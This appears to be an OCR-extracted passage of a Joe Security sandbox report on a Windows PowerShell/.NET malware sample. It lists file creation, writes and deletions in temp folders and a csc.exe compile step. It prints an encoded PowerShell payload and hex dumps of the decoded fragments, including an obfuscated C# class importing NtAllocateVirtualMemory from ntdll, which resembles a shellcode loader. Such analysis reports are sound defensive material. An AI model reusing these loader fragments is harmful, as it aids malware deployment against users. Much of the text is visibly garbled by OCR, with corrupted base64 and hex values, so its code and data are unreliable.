G4AeQBIACWAaQBUAHQAIABEAGKACWBJAGKACABSADMALABPAG4AJAAJAGIACGBUAGUAYWB5AGSADAAWACWAaQBUAHQAIABQAGUAdAB1AG4AaQB
IAHIAbgASAGKAbgBOACAARWBYAHUAbgBNAGUACWBIAGKAJAASAGKAbgBOACAARABIAGOAbwBYAGEADAAIACKAOWANAAOAWWBEAGWADABIAGOAC
ABVAHIAJAAOACIAawBIAHIAbgBIAGWAMWAYAC4AZABSAGWAIGAPAFOACAB1AGIAbABPAGMAIABZAHQAY QBOAGKAYWAJAGUAeABOAGUACYBUACA
AaQBUAHQAIABSAGUAYQBKAEYAaQBsSAGUAKABPAGAAJAAJGAEQAeQBIAGIANGAWACWAdQBPAGAAJAAGAEQAEQBIAGIANgAXACWASQB
UAHQAUABOAHIAIABEAHKAYgBIADY AMgASAHIAZQBMACAASQBUAHQAMWAYACAARABSAGIAYgA2ADMALABPAGAAdAAGAEQAEQBIAGIANGAOACKAO
WANAAOAWWBEAGWAbABJAGOACABVAHIAJAAOACIAdQBzAGUACgAzADIALGBKAGWADAAIACKAXQBWAHUAYgBSAGKAYWAgAHMAJABhAHQAaQBJACA
AZQB4AHQAZQBYAG4AIABIAGAAdABQAHQACJAJAEMAY QBSAGWAVWBPAGAAZABVAHCAUABYAGBAYWBXACYASQBUAHQAUABOAHIAIABEAHKAYQBIA
DYANQASAGKAbgBOACAARABSAGIAYgA2ADYALABPAGAAdAAGAEQAEQBIAGIANGA3ACWAaQBUAHQAIABEAHKAYgBIADY AOAASAGKAbgBOACAARAB
5AGIAYgA2ADKAKQA7AAOACYBIAAOACYAIAEAADQAKACMAQYBPAHMAY QBtAHMAYWBOAHUAIABEAGBAdgBIAGAAOAAGAEMAY QBSAHKAIABLAHUAD
ABKAGKAbWB4AGKAZAAJAGCACYBhAGYAaQBrAHIAAQBOAGKAIABMAGsAawBIAHIAbgAgAESAY QBUAG8AbgBpADKAIABDAGYAZQBSADKAIABIAGA
AZABIAGIAYQBSAGWAZQBUACAAZABpAHMAawAgAFQAY QBKAGUAY QB3AGBAdQBJADQAIABVAGKAJABVAHQAY QBUAHUAZAA4ACAAQWB
1AHQAbABhAHMACWBMADQAIABSAGgAaQBWADYAIABUAGUAbgBKAGUACYBIAGUAbWAGAHIAZQBPAG4AaABVAGWAZ AAGAEgAagBIAGOAdgBpAHMAZ
QBsSAHUAOQAgAEgAVQBSAFIAUWAGAEBAbBQBUAGKANGAGAEIAaQBNAGCcAaQBzADUAIABPAGYgADQBhAHYANAAGAEIAJQBJAGJAIABQAGUAZWBNAHK
AcABhAHIAY QAgAG4AdgBUAGKAbgBNnAGUAZABVACAARYBPAEUATABHAEUAUWBFAEQAIAANAAOAVABIAHMAJAAIAFAAY QBOAGGAIAAIAHMAbWB1A
GOAIgAgAAOACYBUAGUACWBOACOAUABhAHQARAAJGACIARQBYAEMATABVAEQAIGAgAAOACYAKAGIACGBUAGUAYWBSAGSAbAAZADOAMAA7TAAOACGA
KAGIAcgBUAGUAYWB5AGSAbAASADOAMQAWADQAOAALADCANGA7AADACIAKAGIACGBUAGUAYWBSAGSABAA4ADOAWWBIAHIAbgBIAGMAeQBrAGWAM
QBdADOAOgBOAHQAQQBSAGWAbWBJAGEAJABIAFY AaQBYAHQAJQBhAGWATQBIAGOAbwBYAHKAKAAtADEALABbAHIAZQBMAFOAJABIAHIAbgBIAGM
AeQBrAGWAMWASADAALABDAHIAZQBMAFOAJABIAHIAbgBIAGMAeQBrAGWAOQASADEAMgAYADgAOAASADY ANAAPAAOACIAJAFMAVQBQAEUAUgAGA
FMAVABPAEMASWBJAEWAWQBSACAAUWB0AG4AawBIAGWAY QALACAAZQBIAHAACYBVAHMAJAAGAGQAZQBMAGKAbgBpAHQAJAAGAFMAZ
QBWAGKAYQBIAHIAdQAXACAAJABVAHAAbBWBNAHIAY QBMAGUACgAGAEQAUGBZAFAAUWBUAEUATYAGAEYAcgBIAGSAdgA2ACAARABIAGWAaQBIAGU
ANgAgAEOAYQBOAGKAYQBzADMAIABOAHUACWBUAGKAbgBNAGSAdgAgAEgAdQBZzAGOAIABDAEgARQBFAFMARQBGAEWAIAB2AGEAYQBNACAAVABOA
GUAbAAgAFMAJQBWAGUACgALIACAACWBhAGMACYBpAHMAJAAGAFYAZQBKAHMAJABhAGEAIABCAGEAZWBOAHUABgAgAFAACYBVAHQAE
QBsSAHMAMgAgAFMAJABYAHKAZWBIAGSAdgBhADEAIABJAEOATQBPAEWAQQBUACAAUWBOAGUAZAAGAHMAYWBYAGKAIABMAGUAZABIA
HYAYQBYACAAUABIAHIAaQBVAGQAYQAgAAOACYBUAGUACWBOACOAUABhAHQAAAAGACIACWBUAGEACYBIAGAACWAIACAADQAKACQAYgBYAGAAZQB
JAHKAawBsADIAPQAIACQAZQBUAHYAOYBOAGUAbQBWACIAIAArACAAIGBCAGIADABIAGUAYgAUAGQAYQBOACIADQAKACMARQBOAHQAaQBUAHOAD
WBtAGIAaQAOACAAaQBUAHQAZQBSAGWAZQBrAHQAIABNAGUAbgBzAHUACcgBhACAAZgBYAGKAaABhACAAUWBOAHUAJABPAGAAZWBKAGKAZQAGAFM
ASWBSAFYAUWBSACAAUWBJAGgAaQBUAGQAeQBSADEAIABZAHKACYBUAGKAbgBNAGUAIABBAEQATWBQAFQAQQBOAFQAIABMAHUAawB
rAGUAdABzAGIAbWAgAGIADABhAG4AZABPAGAAZWBzAGYAIABEAEUAQWBJIAEOARQBSAEUAIABVAGQAaABVAGWAZABIAGWAaQAJAFMAVABPAEMAS
WBIAESAIABHAGUAbQBpACAARYBhAGIACgBpAGSAY QAYACAAaQBUAHQAZQBYAHAAdQBUACAAdgBhAGAAZABzAGSAIABZAHAAaQBSAGQAZQAgAFI
ARQBHAEKAUWBUAEUAUgAgAFAAbwBzZAHQAZWBPAHIAbWBrAGBAMWAgGAFIAaQB2AGUACgBpACAATWBWAEUAUgBFAEOAIABEAEEATgBEAFKAIABUA
HIAYQBUAHMAYWAZACAACABVAGWAeQAgAEOAVQBTAFQAQQBOAECAUWAJAESAYQBZAGUAaQBUAGUAJAAGAEOAdQBNAGUACYBPAGAAZ
WBOACAAQQYBFAFIATWBMAEKARWBFAEQAIABTAFQAUgBBAFQAIABBAFMARgBBAEWAVAAJAEWAbWBNAGEACgBPACAADQAKACQAYgBYA
G4AZQBjAHkAawBsADQAPQBbAGIAcgBUAGUAYWB5AGSAbAAXAFOAOgABAEMACGBIAGEAdABIAEYAaQBSAGUAQQAOACQAYgBYAGAAZQBjAHKAawB
SADIALAAYADEANAA3ADQAOAAZADYANAA4ACWAMQASADAALAAZACWAMQAYADgALAAWACKADQAKACMAQWBIAFIASQBTAFQAIABDAEU
AUgBCACAASABpPAGCcAaABJACAAUGBIAGSAbwBtAGOAY QA4ACAAQWBPAFIARQBDACAATABZAEQASQBHAEgARQBEACAAQQBDAEgATWB
MAEBARQBGACAAbQB1AHMAbABPAGAAZWAJAGOAY QBOAGUACYBpPAGEABABPACAADQAKAFQAZQBzAHQALQBQAGEAJABOACAAIgBTAHU
AYQBIAGWAIGAgAAOACGAKAGIAcgBUAGUAYWB5AGSADAATADOAMAATAAOACGAJAFMAdJABYAGEAY QBSACAAaABSAHAAZ QBYACAATABLIAGA4AZQBoA
HkAcgBKACAAUgBFAEKARgBJIAESAIABOAGUACWBOAGEABQBIACAAQYBSAEKASWBWAFYATgAgAEKARABJIAESAIABNAHIAY QBKAHUAYQBOACAATQB
IAGEAJABtAGEAbgA1ACAAYWBVAHUAbgBOAGUACYBIAHYAIABQAHIAZQBPAG4AZABIAGIAJABIADKAIABNAHKAbWBIAGUACgBIADMAIABPAHAAZ
QBYAGEAdABpPAHYACWB5ACAACABSAGKACGBIAGUACWBIAGEACgAgAHMAY QBtAGEACJAgAEWATYBTAEEAVABTACAAYWBOAGUACWBIACAARYBIAEC
AVQBSAFQAWQBQACAAUABVAHUACWBZAGKANAAGAEYAVQBHAFQARgBKAEUAIABGAHUAbgBrAHQAaQAgAEBADQBrAHIACWBIAGWACWA
2ACAAVABVAGEAZABSACAAQQBpAHIAdwWBVAHIAJABOACAARWBhAHMAY QBWAHAAY QBYAGEAdAAGAEIAdQBNAHMACABSAHQAdAA2ACA
AUABYAGBAZWBYAGEAbQBzAHQANQAgAAOACGBUAGUACWBOACOAUABhAHQAaAAJACIAYgBhAHIAYQBrACIAIAANAAOAWWBIAHIAbgBIAGMAeQBrA
GWAMQBAJADOAOYBSAGUAY QBKAEYAaQBsAGUAKAAKAGIAcgBUAGUAYWB5AGSAbAAOACWAIABIAHIAbgBIAGMAeQBrAGWAMWASADIANgAXADEANGA
SAFsAcgBIAGYAXQAKAGIAcgBUAGUAYWB5AGSAbAATIACWAMAAPAAOACGAJAFMAbgBhAGQAZABIAG4AAY QBzZAGBANQAgGAGMAaQBYAGMAJQAJAEMAT
WBOAEYARQBDACAACABYAG8BACABVACAAUWB1AGKAJABhAGIAbABIADIAIABQAFMARQBVAEQATWAGAEKATgBEAEWARWBHAEUATAAgAFAAdQBOAHI
AZQBzAGMAZQBrAGEAOAAGAFgAeQBSAGBAMWAGAFCASABVAEYARJAgAGBAY QBzZAGUACWBIAGKAbgAgAFQAY QBIAHQAYQBIACAASQB
tAHAAbwBYADMAIABQAHIAbwBOACAAVAB5AHIAbWAgAHYAZQBUAHQACGAgAFUATgBCAEKARABBAEIAIABYAGEAYQB2AGEACYBIAHIAbgBIACAAS
ABVAHIAYQB0oAGWAJQBJAGKAY QAgAFMAeQBUAHQAaABIAHQAIABGAGUAZABOAGQAIABIAGEAYQBYAGQAOQAgAFYASQBOAESARQBMA
CAAUWBLAEEAVABUAEUAQQBOAFMAVAAgAEOARQBDAEJARQBMACAAUGBhAGA4AZABPAGEACABSACAARABFAFQATWBYAEKARGBIACAAQ
gBSAG4AZABIAGAAIAANAACAVABIAHMAJAAIAFAAY QBOAGGAIAAIAFQAdQBYAGYAIgAgAAOACYBUAGUACWBOACOAUABhAHQAaAAGACIAWQBWAEU
AVAAIACAADQAKAFQAZQBzAHQALQBQAGEAJABOACAAIgBPAEOATQBBAFQASQBEAEKAQQAIACAADQAKAFQAZQBZzAHQALQBQAGEAJAB
0ACAAIgBUAGBAbAB1AGKAZABVAGMAIgGAGAAOACYBUAGUACWBOACOAUABhAHQAAAAGACIASWBVAEWAVABVAFIAUWBBAEOATQAIACAADQAKAFQAZ
QBzAHQALQBQAGEAdABOACAAIgBrAHYAY QBSAGKAJABIAHQAIGAGAAOACYBUAGUACWBOACOAUABhAHQAaAAGACIAUWBhAGUADABNAGUACWBZAHQ
AMWAIACAADQAKAFQAZQBzAHQALQBQAGEAdABOACAAIgGBSAGEAZABYAGUAbgBZzACIAIAANAAOAVABIAHMAJAAIAFAAY QBOAGAIAAIAFQAZQBYA
G4AaQBUAGCAJAB5ACIAIAANAACAVABIAHMAJAALAFAAY QBOAGUAIAAIAGYACYBIAGAAZABVAHYAZQBYACIAIAANAAOAVABIAHMAJAALAFAAY QB
O0AGQAIAAIAEEADABIAHYAaQBUACIAIAANAACAVABIAHMAdAAIAFAAY QBOAGUAIAAIAEQAdQBIAHAAZ QBrAGEAOAAIACAADQAKAFQAZQBZAHQAL
QBQAGEAdABOACAAIgBMAGEACWBOAGCACGBIACIAIAANAAOAVABIAHMAJAAIAFAAY QBOAGGAIAAIAFAAYQBhAHQAY QBSAGUACGBIACIAIAANAAO
AWWBIAHIAbgBIAGMAeQBrAGWAMQBAAD0AOgBDAGEAbABSAFcAaQBUAGQAbWB3AFAACGBVAGMAVWAOACQAYgBYAG4AZQBjAHkAawBSADMALAAGA
DAALAAWACWAMAASADAAKQANAAOADQAKAA==

0xcd0000

430592 bytes
DBA3E6449E97D4E3DF64527EF7012A10
true

true

.Net C# or VB.NET
high
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File Activities

File Created
File Path Access
C:\Users\user read data or list
directory |
synchronize
C:\Users\user\AppData\Roaming read data or list
directory |
synchronize
C:\Users\user\AppData\Local\Temp\__PSscr read attributes |
iptPolicyTest_4vmckcl5.kyp.psl synchronize |
generic write
C:\Users\user\AppData\Local\Temp\__PSscr read attributes |
iptPolicyTest_rzglzjeu.xur.psm1 synchronize |
generic write
C:\Users\user\Documents\20220121 read data or list

directory |
synchronize

C:\Users\user\Documents\20220121\PowerShell_transcr  read attributes |

ipt.376483.GIXAcc5B.20220121172432.txt synchronize |
generic read |
generic write

C:\Users\user\AppData\Local\Temp\vsdke30k read data or list
directory |
synchronize

C:\Users\user\AppData\Local\Te read attributes |
mp\vsdke30k\vsdke30k.tmp synchronize |
generic write

C:\Users\user\AppData\Local\Te read attributes |

mp\vsdke30k\vsdke30k.0.cs synchronize |
generic read |
generic write

C:\Users\user\AppData\Local\Temp\vsdke30k\vsdke30k.dll read attributes |
synchronize |
generic read |
generic write

C:\Users\user\AppData\Local\Te read attributes |
mp\vsdke30k\vsdke30k.cmdline synchronize |
generic write

C:\Users\user\AppData\Local\Te read attributes |
mp\vsdke30k\vsdke30k.out synchronize |
generic write

C:\Users\user\AppData\Local\Te read attributes |
mp\vsdke30k\vsdke30k.err synchronize |
generic write

C:\Users\user\AppData\Local\Mi read attributes |

crosoft\Windows\PowerShell\ModuleAnalysisCache synchronize |
generic read |
generic write

File Deleted

File Path

C:\Users\user\AppData\Local\Temp\ _PSscriptPolicyTest_4vmckel5.kyp.psl
C:\Users\user\AppData\Local\Temp\ _PSscriptPolicyTest_rzqglzjeu.xur.psm1
C:\Users\user\AppData\Local\Temp\vsdke30k\vsdke30k.out
C:\Users\user\AppData\Local\Temp\vsdke30k\vsdke30k.err
C:\Users\user\AppData\Local\Temp\vsdke30k\vsdke30k.tmp
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Attributes

device

device

device

device

device

device

device

device

device

device

device

device

device

device

Options

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

sequential only |
synchronous io
non alert | non
directory file |
open no recall

sequential only |
synchronous io
non alert | non
directory file |
open no recall

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

synchronous io
non alert | non
directory file |
open no recall

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

synchronous io
non alert | non
directory file |
open no recall

synchronous io
non alert | non
directory file |
open no recall

synchronous io
non alert | non
directory file |
open no recall

synchronous io
non alert | non
directory file |
open no recall

synchronous io
non alert | non
directory file |
open no recall

synchronous io
non alert | non
directory file |
open no recall

synchronous io
non alert | non
directory file |
open no recall

Completion

object name collision

object name collision

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

Count Source Address

1 6D85CF06
1 6D85CF06
1 6C7A1E6G0
1 6C7A1EGO
1 6C7ABEFF
1 6C7A1E60
1 6B77FF3C
1 6C7A1EGO
1 6C7A1E6O
1 6C7A1E6O
1 6C7A1E60
1 6C7A1EGO
i 6C7A1E60
i 6C7A1E60

Count Source Address

1 6C7ABA95
1 6C7ABA95
1 6C7ABA95
i 6C7ABA95
i 6C7ABA95

Symbol

unknown

unknown

CreateFileW

CreateFileW

CreateDirect
oryWw

CreateFileW

CreateDirect
oryA

CreateFileW

CreateFileW

CreateFileW

CreateFileW

CreateFileW

CreateFilew

CreateFilew

Symbol

DeleteFilew

DeleteFilew

DeleteFilew

DeleteFilew

DeleteFilew
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File Path

C:\Users\user\AppData\Local\Temp\vsdke30k\vsdke30k.dll

C:\Users\user\AppData\Local\Temp\vsdke30k\vsdke30k.0.cs

C:\Users\user\AppData\Local\Temp\vsdke30k\vsdke30k.cmdline

File Written

File Path

C:\Users\user\AppData\Local\Te

mp\__PSscr

iptPolicyTest_4vmckcel5.kyp.ps1l

C:\Users\user\AppData\Local\Te

mp\__PSscr

iptPolicyTest_rzglzjeu.xur.psm1

C:\Users\user\Documents\202201

21\PowerShell_transcr

ipt.376483.GIXAcc5B.2022012117243

2.txt

C:\Users\user\Documents\202201

21\PowerShell_transcr

ipt.376483.GIXAcc5B.2022012117243

2.txt

C:\Users\user\Documents\202201

21\PowerShell_transcr

ipt.376483.GIXAcc5B.2022012117243

2.txt

Copyright Joe Security LLC 2022

Offset

0

0

0

8

4099

Length Value

1

4096

4096

31

31

2a 2a2a?2a2a?2a?2a?2a
2a 2a2a2a2a?2a?2a?a
2a 2a2a2a2a2a0d0a
57 69 6e 64 6f 77 73 20
50 6f 77 65 72 53 68 65
6c 6¢ 20 74 72 61 6e 73
637269 7074207374
61 72 74 0d 0a 53 74 61
72 74 20 74 69 6d 65 3a
2032 303232303132
3131373234 34350d
0a 55 73 65 72 6e 61 6d
65 3a 20 44 45 53 4b 54
4f 50 2d 37 31 36 54 37
37 31 5¢c 6a 6f 6e 65 73
0d 0a 52 75 6e 41 73 20
55 73 65 72 3a 20 44 45
53 4b 54 4f 50 2d 37 31
36 54 37 37 31 5¢ 6a 6f
6e 65 73 0d Oa 43 6f 6e
66 69 67 75 72 61 74 69
6f 6e 20 4e 61 6d 65 3a
20 0d Oa 4d 61 63 68 69
6e 65 3a 20 33 37 36 34
383320 28 4d 69 63 72
6f 73 6f 66 74 20 57 69
6e 64 6f 77 73 20 4e 54
2031 30 2e 30 2e 31 37
31 33 34 2e 30 29 0d Oa
48 6f 737420 41 70 70
6¢ 69 63 61 74 69 6f 6e
3a 20 43 3a 5¢ 57 69

41 46 41 41 55 77 42 55
41 45 55 41 54 67 41 67
41 45 59 41 63 67 42 6¢
41 47 73 41 64 67 41 32
41 43 41 41 52 41 42 6¢
41 47 77 41 61 51 42 69
41 47 55 41 4e 67 41 67
41 45 30 41 59 51 42 30
41 47 6b 41 59 51 42 7a
41 44 4d 41 49 41 42 6f
41 48 55 41 63 77 42 75
41 47 6b 41 62 67 42 6e
41 47 73 41 64 67 41 67
414567 41645142 7a
4147 304149 41 42 44
414567 41 52 51 42 46
4146 4d 41 52 51 42 47
414577 4149 41 42 32
41 47 45 41 59 51 42 6e
41 43 41 41 56 41 42 6f
41 47 55 41 62 41 41 67
4146 4d 4164514277
414755416367 4131
4143414163774268
4147 4d 41 63 67 42 70
4148 4d 41 64 41 41 67
41 46 59 41 5a 51 42 6b
41484d4164414268
4147 454149414243
41 47 45 41 5a 77 42 30
41 48 55 41 62 67 41 67
4146 41 4163 67 42

Ascii

B R V VT oe [0}

ws PowerShell transcript
startStart time:
20220121172445Userna
me: computer\userRunAs
User:
computer\userConfigurati
on Name: Machine:
376483 (Microsoft
Windows NT
10.0.17134.0)Host
Application: C:\Wi

AFAAUWBUAEUATgAgA
EYAcgBIAGsAdg
A2ACAARABIAGWAaQBI
AGUANgAQAEOA
YQBOAGKAYQBzADMAI
ABOAHUACWBUAG
kAbgBnAGsAdgAgAEgA
dQBzAGOAIABD
AEgARQBFAFMARQBG
AEWAIAB2AGEAYQ
BnACAAVABOAGUADAA
gAFMAdQBWAGUA
cgA1ACAAcwBhAGMAC
9BpAHMAdAAQAF
YAZQBKAHMAJABhAGE
AIABCAGEAZwWBO
AHUAbgAgAFAAcgB

Completion
success or wait
success or wait

success or wait

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

Count Source Address

1 6C7ABA95
1 6C7ABA95
1 6C7ABA95

Count Source Address

1 6C7A1B4F
1 6C7A1B4F
1 6C7A1B4F
1 6C7A1B4F
1 6C7A1B4F

Symbol
DeleteFilew
DeleteFilew

DeleteFilew

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\Documents\202201
21\PowerShell_transcr
ipt.376483.GIXAcc5B.2022012117243
2.txt

C:\Users\user\AppData\Local\Te
mp\vsdke30k\vsdke30k.0.cs

Copyright Joe Security LLC 2022

Offset

8195

0

Length Value

432 4148 49 41 62 67 42 6C
4147 4d 4165514272
4147 77 41 4d 51 42 64
41 44 6f 41 4f 67 42 44
4147 454162414273
4146 634161514275
414751416277 4233
414641416367 4276
41 47 4d 41 56 77 41 6f
414351415967 4279
41 47 34 41 5a 51 42 6a
4148 6b 416177 4273
41 44 4d 41 4c 41 41 67
414441414c414177
414377 41 4d 414173
41 44 41 41 4b 51 41 4e
41 41 6f 41 44 51 41 4b
41 41 3d 3d 0d Oa 50 72
6f 63 65 73 73 20 49 44
3a 20 34 36 37 36 0d Oa
50 53 56 65 72 73 69 6f
6e 3a 20 35 2e 31 2e 31
37 313334 2e 310d 0a
50 53 45 64 69 74 69 6f
6e 3a 20 44 65 73 6b 74
6f 70 0d Oa 50 53 43 6f
6d 70 61 74 69 62 6¢ 65
56 65 72 73 69 6f 6e 73
3a 20 31 2e 30 2c 20 32
2e 30 2¢ 20 33 2e 30 2¢
20 34 2e 30 2¢ 20 35 2e
30 2¢ 20 35 2e 31 2e

681 ff 75 73 69 6e 67 20 53
79 73 74 65 6d 3b 0d Oa
7573 69 6e 67 20 53 79
73 74 65 6d 2e 52 75 6e
74 69 6d 65 2e 49 6e 74
65 72 6f 70 53 65 72 76
69 63 65 73 3b 0d Oa 70
75 62 6¢ 69 63 20 73 74
61 74 69 63 20 63 6¢C 61
737320 62 72 6e 65 63
79 6b 6¢ 31 0d Oa 7b 0d
0Oa 5b 44 6¢ 6¢ 49 6d 70
6f 72 74 28 22 6e 74 64
6¢C 6¢ 2e 64 6¢ 6¢ 22 29
5d 70 75 62 6¢ 69 63 20
7374 6174 69 63 20 65
78 74 65 72 6e 20 69 6e
74 20 4e 74 41 6¢ 6¢ 6f
63 61 74 65 56 69 72 74
75 61 6¢ 4d 65 6d 6f 72
79 28 69 6e 74 20 62 72
6e 65 63 79 6b 6¢ 36 2¢
72 65 66 20 49 6e 74 33
3220726573 74 62 65
6c 62 2c 69 6e 74 20 44
79 62 62 36 2c 72 65 66
20 49 6e 74 33 32 20 62
72 6e 65 63 79 6b 6¢ 2¢
69 6e 74 20 61 70 70 6¢
69 65 2c 69 6e 74 20 62
72 6e 65 63 79 6b 6¢ 37
29 3b 0d Oa 5b

Ascii Completion

AHIAbgBIAGMAeQBrAG  success or wait 25 6C7A1B4F
WAMQBAADOAOg
BDAGEAbABsAFcAaQB
UAGQADbWB3AFAA
cgBVAGMAVWAOACQAY
gByAG4AZQBjAH
kAawBsADMALAAgADA
ALAAWACWAMAAS
ADAAKQANAACADQAK

==Process ID:
4676PSVersion:
5.1.17134.1PSEdition:
DesktopPSCompatibleVe
rsions: 1.0, 2.0, 3.0, 4.0,
5.0,5.1.

using System;using success or wait 1 6C7A1B4F
System.Runt
ime.InteropServices;publi
c static class
brnecykl1{[Dllimport
("ntdll.dlI*)]public static ex
tern int
NtAllocateVirtualMemo
ry(int brnecykl6,ref Int32
restbelb,int Dybb6,ref
Int32 brnecykl,int
applie,int brnecykl7);[

Count Source Address

Symbol

WriteFile

WriteFile

Page 29 of 38



File Path

C:\Users\user\AppData\Local\Te
mp\vsdke30k\vsdke30k.cmdline

C:\Users\user\AppData\Local\Te
mp\vsdke30k\vsdke30k.out

Copyright Joe Security LLC 2022

Offset

0

0

Length Value

369

455

ff 2f 74 3a 6¢ 69 62 72 61
7279 20 2f 7574 66 38
6f 75 74 70 75 74 20 2f
52 3a22 5379737465
6d 2e 64 6¢ 6¢ 22 20 2f
52 3a 22 43 3a 5¢ 57 69
6e 64 6f 77 73 5¢ 4d 69
63 72 6f 73 6f 66 74 2e
4e 65 74 5c 61 73 73 65
6d 62 6¢ 79 5¢c 47 41 43
5f 4d 53 49 4c 5¢ 53 79
73 74 65 6d 2e 4d 61 6e
61 67 65 6d 65 6e 74 2e
4175 74 6f 6d 61 74 69
6f 6e 5¢c 76 34 2e 30 5f
33 2e 30 2e 30 2e 30 5f
5f 33 31 62 66 33 38 35
36 61 64 33 36 34 65 33
35 5¢ 53 79 73 74 65 6d
2e 4d 61 6e 61 67 65 6d
65 6e 74 2e 41 75 74 6f
6d 61 74 69 6f 6e 2e 64
6¢ 6¢ 22 20 2f 52 3a 22
5379 73 74 65 6d 2e 43
6f 72 65 2e 64 6¢ 6¢ 22
20 2f 6f 75 74 3a 22 43
3a 5¢ 55 73 65 72 73 5¢
6a 6f 6e 65 73 5¢ 41 70
70 44 61 74 61 5c 4c 6f
63 61 6¢ 5¢ 54 65 6d 70
5c 76 73 64 6b 65 33 30
6b 5¢c 76 73

ff 43 3a 5¢ 55 73 65 72
73 5c 6a 6f 6e 65 73 5¢
44 65 73 6b 74 6f 70 3e
20 22 43 3a 5¢ 57 69 6e
64 6f 77 73 5¢c 4d 69 63
72 6f 73 6f 66 74 2e 4e
4554 5¢ 46 72 61 6d 65
77 6f 72 6b 5¢c 76 34 2e
30 2e 33 30 33 31 39 5¢
63 73 63 2e 65 78 65 22
20 2f 74 3a 6¢ 69 62 72
61 72 79 20 2f 75 74 66
38 6f 75 74 70 75 74 20
2f52 322253797374
65 6d 2e 64 6¢ 6¢ 22 20
2f52 3a 22 43 3a 5¢ 57
69 6e 64 6f 77 73 5¢ 4d
69 63 72 6f 73 6f 66 74
2e 4e 6574 5c 61 73 73
65 6d 62 6¢ 79 5¢ 47 41
43 5f 4d 53 49 4c 5¢ 53
79 73 74 65 6d 2e 4d 61
6e 61 67 65 6d 65 6e 74
2e 417574 6f 6d 61 74
69 6f 6e 5¢c 76 34 2e 30
5f 33 2e 30 2e 30 2e 30
5f 5f 33 31 62 66 33 38
35 36 61 64 33 36 34 65
33355¢ 5379737465
6d 2e 4d 61 6e 61 67 65
6d 65 6e 74 2e 41 75 74
6f 6d 61 74 69

Ascii Completion

[t:library /utf8output success or wait 1 6C7A1B4F
/R:"System.dll"
/R:"C:\Windows\Micros
oft.Net\assembly\GAC_M
SIL\Syst
em.Management.Automa
tion\v4.0_
3.0.0.0__31bf3856ad364
e35\Syst
em.Management.Automa
tion.dII"
/R:"System.Core.dll"
lout:"C:\
Users\user\AppData\Loc
al\Temp\vsdke30k\vs

C:\Users\user\Desktop>  success or wait 1 6C7A1B4F
"C:\Win
dows\Microsoft.NET\Fra
mework\v
4.0.30319\csc.exe”
[t:library /utf8output
/R:"System.dll" /R
"C:\Windows\Microsoft.N
et\ass
embly\GAC_MSIL\Syste
m.Manageme
nt.Automation\v4.0_3.0.0.
0_31
bf3856ad364e35\System.
Management.Automati

Count Source Address

Symbol

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\Mod
uleAnalysisCache

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\Mod
uleAnalysisCache

File Read

File Path

Offset

0

4096

Length Value

4096

3907

50 53 4d 4f 44 55 4c 45
43 41 43 48 45 01 08 00
00 00 fd fd fd fd 15 fd fd
08 59 00 00 00 43 3a 5¢
50 72 6f 67 72 61 6d 20
46 69 6¢ 65 73 20 28 78
38 36 29 5¢ 57 69 6e 64
6f 77 73 50 6f 77 65 72
53 68 65 6¢ 6¢ 5¢ 4d 6f
64 75 6¢ 65 73 5¢ 50 6f
776572 53 68 65 6¢ 6C
47 65 74 5¢ 31 2e 30 2e
30 2e 31 5¢ 50 6f 77 65
72 53 68 65 6¢ 6¢ 47 65
74 2e 70 73 64 31 1d 00
00 00 10 00 00 00 55 6e
69 6e 73 74 61 6¢ 6¢C 2d
4d 6f 64 75 6¢ 65 02 00
00 00 04 00 00 00 69 6e
6d 6f 01 00 00 00 04 00
00 00 66 69 6d 6f 01 00
00 00 Oe 00 00 00 49 6e
73 74 61 6¢ 6¢C 2d 4d 6f
64 75 6¢ 65 02 00 00 00
1200 00 00 4e 65 77 2d
53 63 72 69 70 74 46 69
6¢ 65 49 6e 66 6f 02 00
00 00 Oe 00 00 00 50 75
62 6¢ 69 73 68 2d 4d 6f
64 75 6¢ 65 02 00 00 00
Oe 00 00 00 49 6e 73 74
61 6¢ 6¢ 2d 53 63

4d 69 63 72 6f 73 6f 66
74 2e 50 6f 77 65 72 53
68 65 6¢C 6¢ 2e 55 74 69
6C 69 74 79 5c 4d 69 63
72 6f 73 6f 66 74 2e 50 6f
77 65 72 53 68 65 6¢C 6
2e 55 74 69 6¢ 69 74 79
2e 70 73 64 31 6d 00 00
00 0f 00 00 00 52 65 6d
6f 76 65 2d 56 61 72 69
61 62 6¢ 65 08 00 00 00
0Oe 00 00 00 43 6f 6e 76
65 72 74 2d 53 74 72 69
6e 67 08 00 00 00 0d 00
00 00 54 72 61 63 65 2d
43 6f 6d 6d 61 6e 64 08
00 00 00 Ob 00 00 00 53
6f 72 74 2d 4f 62 6a 65
63 74 08 00 00 00 14 00
00 00 52 65 67 69 73 74
65 72 2d 4f 62 6a 65 63
74 4576 65 6e 74 08 00
00 00 Oc 00 00 00 47 65
74 2d 52 75 6e 73 70 61
63 65 08 00 00 00 Oc 00
00 00 46 6f 72 6d 61 74
2d 54 61 62 6¢ 65 08 00
00 00 0d 00 00 00 57 61
69 74 2d 44 65 62 75 67
67 65 72 08 00 00 00 11
00 00 00 47 65 74 2d 52
75 6e 7370 61 63

Offset

unknown

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config

C:\Windows\assembly\Nativelmages_v4.0.30319_32\mscorlib\a152
fe02a317a77aeee36903305e8baé\mscorlib.ni.dll.aux

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f
1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7e
